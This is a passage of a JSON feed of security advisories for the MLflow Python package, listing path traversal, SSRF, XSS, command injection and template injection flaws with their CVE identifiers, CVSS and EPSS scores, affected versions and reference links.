osyste.ms/advisories/GSA_kwCzR0hTQS1tNDljLTVjNTItNjY5Ns4AA7B8","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 2.9.2"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNDljLTVjNTItNjY5Ns4AA7B8/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01bXZqLXdtZ2otN3E4Y84AA7CR","url":"https://github.com/advisories/GHSA-5mvj-wmgj-7q8c","title":"mlflow vulnerable to Path Traversal","description":"A path traversal vulnerability exists in the mlflow/mlflow repository, specifically within the artifact deletion functionality. Attackers can bypass path validation by exploiting the double decoding process in the `_delete_artifact_mlflow_artifacts` handler and `local_file_uri_to_path` function, allowing for the deletion of arbitrary directories on the server's filesystem. This vulnerability is due to an extra unquote operation in the `delete_artifacts` function of `local_artifact_repo.py`, which fails to properly sanitize user-supplied paths. The issue is present up to version 2.9.2, despite attempts to fix a similar issue in CVE-2023-6831.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-04-16T00:30:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.1,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-1560","https://huntr.com/bounties/4a34259c-3c8f-4872-b178-f27fbc876b98","https://github.com/advisories/GHSA-5mvj-wmgj-7q8c"],"source_kind":"github","identifiers":["GHSA-5mvj-wmgj-7q8c","CVE-2024-1560"],"repository_url":null,"blast_radius":0.0,"created_at":"2024-04-16T19:05:04.415Z","updated_at":"2026-10-10T09:14:19.824Z","epss_percentage":0.00856,"epss_percentile":0.56861,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01bXZqLXdtZ2otN3E4Y84AA7CR","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01bXZqLXdtZ2otN3E4Y84AA7CR","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 2.9.2"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01bXZqLXdtZ2otN3E4Y84AA7CR/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qNjJyLXd4cXEtZjNnZs4AA7B4","url":"https://github.com/advisories/GHSA-j62r-wxqq-f3gf","title":"mlflow vulnerable to Path Traversal","description":"A path traversal vulnerability exists in the `_create_model_version()` function within `server/handlers.py` of the mlflow/mlflow repository, due to improper validation of the `source` parameter. Attackers can exploit this vulnerability by crafting a `source` parameter that bypasses the `_validate_non_local_source_contains_relative_paths(source)` function's checks, allowing for arbitrary file read access on the server. The issue arises from the handling of unquoted URL characters and the subsequent misuse of the original `source` value for model version creation, leading to the exposure of sensitive files when interacting with the `/model-versions/get-artifact` handler.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-04-16T00:30:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-1558","https://huntr.com/bounties/7f4dbcc5-b6b3-43dd-b310-e2d0556a8081","https://github.com/advisories/GHSA-j62r-wxqq-f3gf"],"source_kind":"github","identifiers":["GHSA-j62r-wxqq-f3gf","CVE-2024-1558"],"repository_url":null,"blast_radius":0.0,"created_at":"2024-04-26T06:05:01.548Z","updated_at":"2026-10-10T09:12:51.966Z","epss_percentage":0.00859,"epss_percentile":0.56939,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNjJyLXd4cXEtZjNnZs4AA7B4","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qNjJyLXd4cXEtZjNnZs4AA7B4","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.12.1","vulnerable_version_range":"\u003c= 2.9.2"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNjJyLXd4cXEtZjNnZs4AA7B4/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mODJyLWpqNXItNmc5N84AA7CM","url":"https://github.com/advisories/GHSA-f82r-jj5r-6g97","title":"mlflow Path Traversal vulnerability","description":"A path traversal vulnerability exists in mlflow/mlflow version 2.9.2, allowing attackers to access arbitrary files on the server. By crafting a series of HTTP POST requests with specially crafted 'artifact_location' and 'source' parameters, using a local URI with '#' instead of '?', an attacker can traverse the server's directory structure. The issue occurs due to insufficient validation of user-supplied input in the server's handlers.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-04-16T00:30:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-1483","https://huntr.com/bounties/52a3855d-93ff-4460-ac24-9c7e4334198d","https://github.com/advisories/GHSA-f82r-jj5r-6g97"],"source_kind":"github","identifiers":["GHSA-f82r-jj5r-6g97","CVE-2024-1483"],"repository_url":null,"blast_radius":0.0,"created_at":"2024-04-16T19:05:04.441Z","updated_at":"2026-10-10T09:12:51.966Z","epss_percentage":0.02718,"epss_percentile":0.85511,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mODJyLWpqNXItNmc5N84AA7CM","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mODJyLWpqNXItNmc5N84AA7CM","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.12.1","vulnerable_version_range":"\u003c= 2.9.2"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mODJyLWpqNXItNmc5N84AA7CM/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zdjc5LXE3cGgtajc1aM4AA5e3","url":"https://github.com/advisories/GHSA-3v79-q7ph-j75h","title":"MLFlow Cross-site Scripting vulnerability leads to client-side Remote Code Execution","description":"Insufficient sanitization in MLflow leads to XSS when running a recipe that uses an untrusted dataset. This issue leads to a client-side RCE when running the recipe in Jupyter Notebook. The vulnerability stems from lack of sanitization over dataset table fields.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2024-02-24T00:30:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.6,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-27133","https://github.com/mlflow/mlflow/pull/10893","https://research.jfrog.com/vulnerabilities/mlflow-untrusted-dataset-xss-jfsa-2024-000631932","https://github.com/mlflow/mlflow/commit/c43823750bffa5b6abcc086683b15a068513b67b","https://github.com/mlflow/mlflow/commit/cfa71879a884cc3520e23ccab998c9aa78fdf2b1","https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2024-241.yaml","https://github.com/advisories/GHSA-3v79-q7ph-j75h"],"source_kind":"github","identifiers":["GHSA-3v79-q7ph-j75h","CVE-2024-27133"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":0.0,"created_at":"2024-02-27T22:04:48.065Z","updated_at":"2026-10-10T09:14:43.250Z","epss_percentage":0.00656,"epss_percentile":0.49512,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zdjc5LXE3cGgtajc1aM4AA5e3","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zdjc5LXE3cGgtajc1aM4AA5e3","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.10.0","vulnerable_version_range":"\u003c 2.10.0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zdjc5LXE3cGgtajc1aM4AA5e3/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02NzQ5LW01Y3AtNmNnN84AA5e2","url":"https://github.com/advisories/GHSA-6749-m5cp-6cg7","title":"Cross-site Scripting in MLFlow","description":"Insufficient sanitization in MLflow leads to XSS when running an untrusted recipe.\n\nThis issue leads to a client-side RCE when running an untrusted recipe in Jupyter Notebook.\n\nThe vulnerability stems from lack of sanitization over template variables.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2024-02-24T00:30:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.6,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-27132","https://github.com/mlflow/mlflow/pull/10873","https://research.jfrog.com/vulnerabilities/mlflow-untrusted-recipe-xss-jfsa-2024-000631930","https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2024-240.yaml","https://github.com/advisories/GHSA-6749-m5cp-6cg7"],"source_kind":"github","identifiers":["GHSA-6749-m5cp-6cg7","CVE-2024-27132"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":0.0,"created_at":"2024-02-26T21:04:49.915Z","updated_at":"2026-10-10T09:14:44.455Z","epss_percentage":0.00878,"epss_percentile":0.57526,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02NzQ5LW01Y3AtNmNnN84AA5e2","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02NzQ5LW01Y3AtNmNnN84AA5e2","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.10.0","vulnerable_version_range":"\u003c 2.10.0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02NzQ5LW01Y3AtNmNnN84AA5e2/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01cjNxLTkzcTMtZjk3OM4AA37c","url":"https://github.com/advisories/GHSA-5r3q-93q3-f978","title":"MLflow Path Traversal Vulnerability","description":"Path Traversal: '\\..\\filename' in GitHub repository mlflow/mlflow prior to 2.9.2.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-12-20T06:30:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-6909","https://github.com/mlflow/mlflow/commit/1da75dfcecd4d169e34809ade55748384e8af6c1","https://huntr.com/bounties/11209efb-0f84-482f-add0-587ea6b7e850","https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2023-252.yaml","https://github.com/advisories/GHSA-5r3q-93q3-f978"],"source_kind":"github","identifiers":["GHSA-5r3q-93q3-f978","CVE-2023-6909"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":32.24770232259766,"created_at":"2023-12-20T21:05:55.209Z","updated_at":"2026-10-10T09:15:44.693Z","epss_percentage":0.89716,"epss_percentile":0.99773,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01cjNxLTkzcTMtZjk3OM4AA37c","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01cjNxLTkzcTMtZjk3OM4AA37c","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.9.2","vulnerable_version_range":"\u003c 2.9.2"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01cjNxLTkzcTMtZjk3OM4AA37c/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13djhxLTRmODUtMnA4cM4AA37f","url":"https://github.com/advisories/GHSA-wv8q-4f85-2p8p","title":"MLflow Path Traversal Vulnerability","description":"This vulnerability is capable of writing arbitrary files into arbitrary locations on the remote filesystem in the context of the server process.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-12-20T06:30:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-6976","https://github.com/mlflow/mlflow/commit/5044878da0c1851ccfdd5c0a867157ed9a502fbc","https://huntr.com/bounties/2408a52b-f05b-4cac-9765-4f74bac3f20f","https://github.com/advisories/GHSA-wv8q-4f85-2p8p"],"source_kind":"github","identifiers":["GHSA-wv8q-4f85-2p8p","CVE-2023-6976"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":0.0,"created_at":"2023-12-20T21:05:55.229Z","updated_at":"2026-10-10T09:15:44.694Z","epss_percentage":0.01016,"epss_percentile":0.61821,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13djhxLTRmODUtMnA4cM4AA37f","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13djhxLTRmODUtMnA4cM4AA37f","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.9.2","vulnerable_version_range":"\u003c 2.9.2"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13djhxLTRmODUtMnA4cM4AA37f/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01OXYzLTg5OHItcXdoas4AA37g","url":"https://github.com/advisories/GHSA-59v3-898r-qwhj","title":"MLflow Server-Side Request Forgery (SSRF)","description":"A malicious user could use this issue to access internal HTTP(s) servers and in the worst case (ie: aws instance) it could be abused to get a remote code execution on the victim machine.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2023-12-20T06:30:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-6974","https://github.com/mlflow/mlflow/commit/8174250f83352a04c2d42079f414759060458555","https://huntr.com/bounties/438b0524-da0e-4d08-976a-6f270c688393","https://github.com/advisories/GHSA-59v3-898r-qwhj"],"source_kind":"github","identifiers":["GHSA-59v3-898r-qwhj","CVE-2023-6974"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":0.0,"created_at":"2023-12-20T21:05:55.248Z","updated_at":"2026-10-10T09:15:44.695Z","epss_percentage":0.01519,"epss_percentile":0.73537,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01OXYzLTg5OHItcXdoas4AA37g","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01OXYzLTg5OHItcXdoas4AA37g","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.9.2","vulnerable_version_range":"\u003c 2.9.2"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01OXYzLTg5OHItcXdoas4AA37g/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xZzhwLTMyZ3ItZ2g2eM4AA37h","url":"https://github.com/advisories/GHSA-qg8p-32gr-gh6x","title":"MLflow Local File Disclosure Vulnerability","description":"This vulnerability enables malicious users to read sensitive files on the server.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-12-20T06:30:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-6977","https://github.com/mlflow/mlflow/commit/4bd7f27c810ba7487d53ed5ef1038fca0f8dc28c","https://huntr.com/bounties/fe53bf71-3687-4711-90df-c26172880aaf","https://github.com/advisories/GHSA-qg8p-32gr-gh6x"],"source_kind":"github","identifiers":["GHSA-qg8p-32gr-gh6x","CVE-2023-6977"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":0.0,"created_at":"2023-12-20T21:05:55.266Z","updated_at":"2026-10-10T09:15:44.695Z","epss_percentage":0.03924,"epss_percentile":0.89503,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xZzhwLTMyZ3ItZ2g2eM4AA37h","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xZzhwLTMyZ3ItZ2g2eM4AA37h","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.9.2","vulnerable_version_range":"\u003c 2.9.2"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xZzhwLTMyZ3ItZ2g2eM4AA37h/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oaDhwLXA4bXAtZ3Fobc4AA37i","url":"https://github.com/advisories/GHSA-hh8p-p8mp-gqhm","title":"MLFlow Path Traversal Vulnerability","description":"A malicious user could use this issue to get command execution on the vulnerable machine and get access to data \u0026 models information.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2023-12-20T06:30:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-6975","https://github.com/mlflow/mlflow/commit/b9ab9ed77e1deda9697fe472fb1079fd428149ee","https://huntr.com/bounties/029a3824-cee3-4cf1-b260-7138aa539b85","https://github.com/advisories/GHSA-hh8p-p8mp-gqhm"],"source_kind":"github","identifiers":["GHSA-hh8p-p8mp-gqhm","CVE-2023-6975"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":0.0,"created_at":"2023-12-20T21:05:55.285Z","updated_at":"2026-10-10T09:15:44.696Z","epss_percentage":0.0203,"epss_percentile":0.79753,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oaDhwLXA4bXAtZ3Fobc4AA37i","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oaDhwLXA4bXAtZ3Fobc4AA37i","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.9.2","vulnerable_version_range":"\u003c 2.9.2"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oaDhwLXA4bXAtZ3Fobc4AA37i/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1odmM2LTQydmYtamhmOM4AA35I","url":"https://github.com/advisories/GHSA-hvc6-42vf-jhf8","title":"mlflow Command Injection vulnerability","description":"with only one user interaction(download a malicious config), attackers can gain full command execution on the victim system.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-12-19T03:30:17.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-6940","https://github.com/mlflow/mlflow/commit/5139b1087d686fa52e2b087e09da66aff86297b1","https://huntr.com/bounties/c6f59480-ce47-4f78-a3dc-4bd8ca15029c","https://github.com/mlflow/mlflow/pull/10676","https://github.com/mlflow/mlflow/commit/a98a341a7222f894b7735db575ad9311ecaba4e3","https://github.com/mlflow/mlflow/commits/v2.9.2","https://github.com/advisories/GHSA-hvc6-42vf-jhf8"],"source_kind":"github","identifiers":["GHSA-hvc6-42vf-jhf8","CVE-2023-6940"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":0.0,"created_at":"2023-12-19T22:05:55.905Z","updated_at":"2026-10-10T09:15:46.403Z","epss_percentage":0.01219,"epss_percentile":0.67517,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1odmM2LTQydmYtamhmOM4AA35I","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1odmM2LTQydmYtamhmOM4AA35I","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.9.2","vulnerable_version_range":"\u003c 2.9.2"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1odmM2LTQydmYtamhmOM4AA35I/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01NTR3LXhoNGotOHc2NM4AA3yh","url":"https://github.com/advisories/GHSA-554w-xh4j-8w64","title":"Path traversal in MLflow","description":"Path Traversal: '\\..\\filename' in GitHub repository mlflow/mlflow prior to 2.9.2.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2023-12-15T03:30:18.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-6831","https://github.com/mlflow/mlflow/commit/1da75dfcecd4d169e34809ade55748384e8af6c1","https://huntr.com/bounties/0acdd745-0167-4912-9d5c-02035fe5b314","https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2023-253.yaml","https://github.com/advisories/GHSA-554w-xh4j-8w64"],"source_kind":"github","identifiers":["GHSA-554w-xh4j-8w64","CVE-2023-6831"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":0.0,"created_at":"2023-12-16T00:06:12.585Z","updated_at":"2026-10-10T09:15:50.187Z","epss_percentage":0.0329,"epss_percentile":0.87512,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01NTR3LXhoNGotOHc2NM4AA3yh","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01NTR3LXhoNGotOHc2NM4AA3yh","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.9.2","vulnerable_version_range":"\u003c 2.9.2"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01NTR3LXhoNGotOHc2NM4AA3yh/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12OTQ1LXIzcmMtNmZqbc4AA3ti","url":"https://github.com/advisories/GHSA-v945-r3rc-6fjm","title":"Path traversal in MLflow","description":"Path Traversal in GitHub repository mlflow/mlflow prior to 2.9.2.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-12-13T00:30:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-6753","https://github.com/mlflow/mlflow/commit/1c6309f884798fbf56017a3cc808016869ee8de4","https://huntr.com/bounties/b397b83a-527a-47e7-b912-a12a17a6cfb4","https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2023-309.yaml","https://github.com/advisories/GHSA-v945-r3rc-6fjm"],"source_kind":"github","identifiers":["GHSA-v945-r3rc-6fjm","CVE-2023-6753"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":0.0,"created_at":"2023-12-13T14:06:34.633Z","updated_at":"2026-10-10T09:15:51.644Z","epss_percentage":0.01081,"epss_percentile":0.6368,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12OTQ1LXIzcmMtNmZqbc4AA3ti","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12OTQ1LXIzcmMtNmZqbc4AA3ti","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.9.2","vulnerable_version_range":"\u003c 2.9.2"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12OTQ1LXIzcmMtNmZqbc4AA3ti/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jeGZyLTVxM3ItMnJjMs4AA3r7","url":"https://github.com/advisories/GHSA-cxfr-5q3r-2rc2","title":"Jinja2 template injection in mlflow","description":"Improper Neutralization of Special Elements Used in a Template Engine in GitHub repository mlflow/mlflow prior to 2.9.2.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-12-12T06:30:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-6709","https://github.com/mlflow/mlflow/commit/432b8ccf27fd3a76df4ba79bb1bec62118a85625","https://huntr.com/bounties/9e4cc07b-6fff-421b-89bd-9445ef61d34d","https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2023-281.yaml","https://github.com/advisories/GHSA-cxfr-5q3r-2rc2"],"source_kind":"github","identifiers":["GHSA-cxfr-5q3r-2rc2","CVE-2023-6709"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":0.0,"created_at":"2023-12-13T14:06:34.834Z","updated_at":"2026-10-10T09:15:51.664Z","epss_percentage":0.00937,"epss_percentile":0.59505,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jeGZyLTVxM3ItMnJjMs4AA3r7","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jeGZyLTVxM3ItMnJjMs4AA3r7","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.9.2","vulnerable_version_range":"\u003c 2.9.2"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jeGZyLTVxM3ItMnJjMs4AA3r7/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12d2hmLTN2Nngtd2ZmOM4AA3mS","url":"https://github.com/advisories/GHSA-vwhf-3v6x-wff8","title":"Cross-site Scripting (XSS) in MLflow","description":"A reflected Cross-Site Scripting (XSS) vulnerability exists in the mlflow/mlflow repository, specifically within the handling of the Content-Type header in POST requests. An attacker can inject malicious JavaScript code into the Content-Type header, which is then improperly reflected back to the user without adequate sanitization or escaping, leading to arbitrary JavaScript execution in the context of the victim's browser. The vulnerability is present in the mlflow/server/auth/__init__.py file, where the user-supplied Content-Type header is directly injected into a Python formatted string and returned to the user, facilitating the XSS attack.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2023-12-07T06:30:21.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2023-6568","https://github.com/mlflow/mlflow/commit/28ff3f94994941e038f2172c6484b65dc4db6ca1","https://huntr.com/bounties/816bdaaa-8153-4732-951e-b0d92fddf709","https://github.com/pypa/advisory-database/tree/main/vulns/mlflow/PYSEC-2023-260.yaml","https://github.com/advisories/GHSA-vwhf-3v6x-wff8"],"source_kind":"github","identifiers":["GHSA-vwhf-3v6x-wff8","CVE-2023-6568"],"repository_url":"https://github.com/mlflow/mlflow","blast_radius":0.0,"created_at":"2023-12-12T01:05:53.290Z","updated_at":"2026-10-10T09:15:53.603Z","epss_percentage":0.01662,"epss_percentile":0.75658,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12d2hmLTN2Nngtd2ZmOM4AA3mS","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12d2hmLTN2Nngtd2ZmOM4AA3mS","packages":[{"ecosystem":"pypi","package_name":"mlflow","versions":[{"first_patched_version":"2.9.0","vulnerable_version_range":"\u003c 2.9.0"}],"purl":"pkg:pypi/mlflow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12d2hmLTN2Nngtd2ZmOM4AA3mS/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13cXhmLTQ0N20tNmY1Zs4AA3kN","url":"https://github.com/advisories/GHSA-wqxf-447m-6f5f","title":"Information exposure in MLflow","description":"An issue in MLFlow versions 2.8.1 and before allows a remote attacker to obtain sensitive information via a crafted request to REST 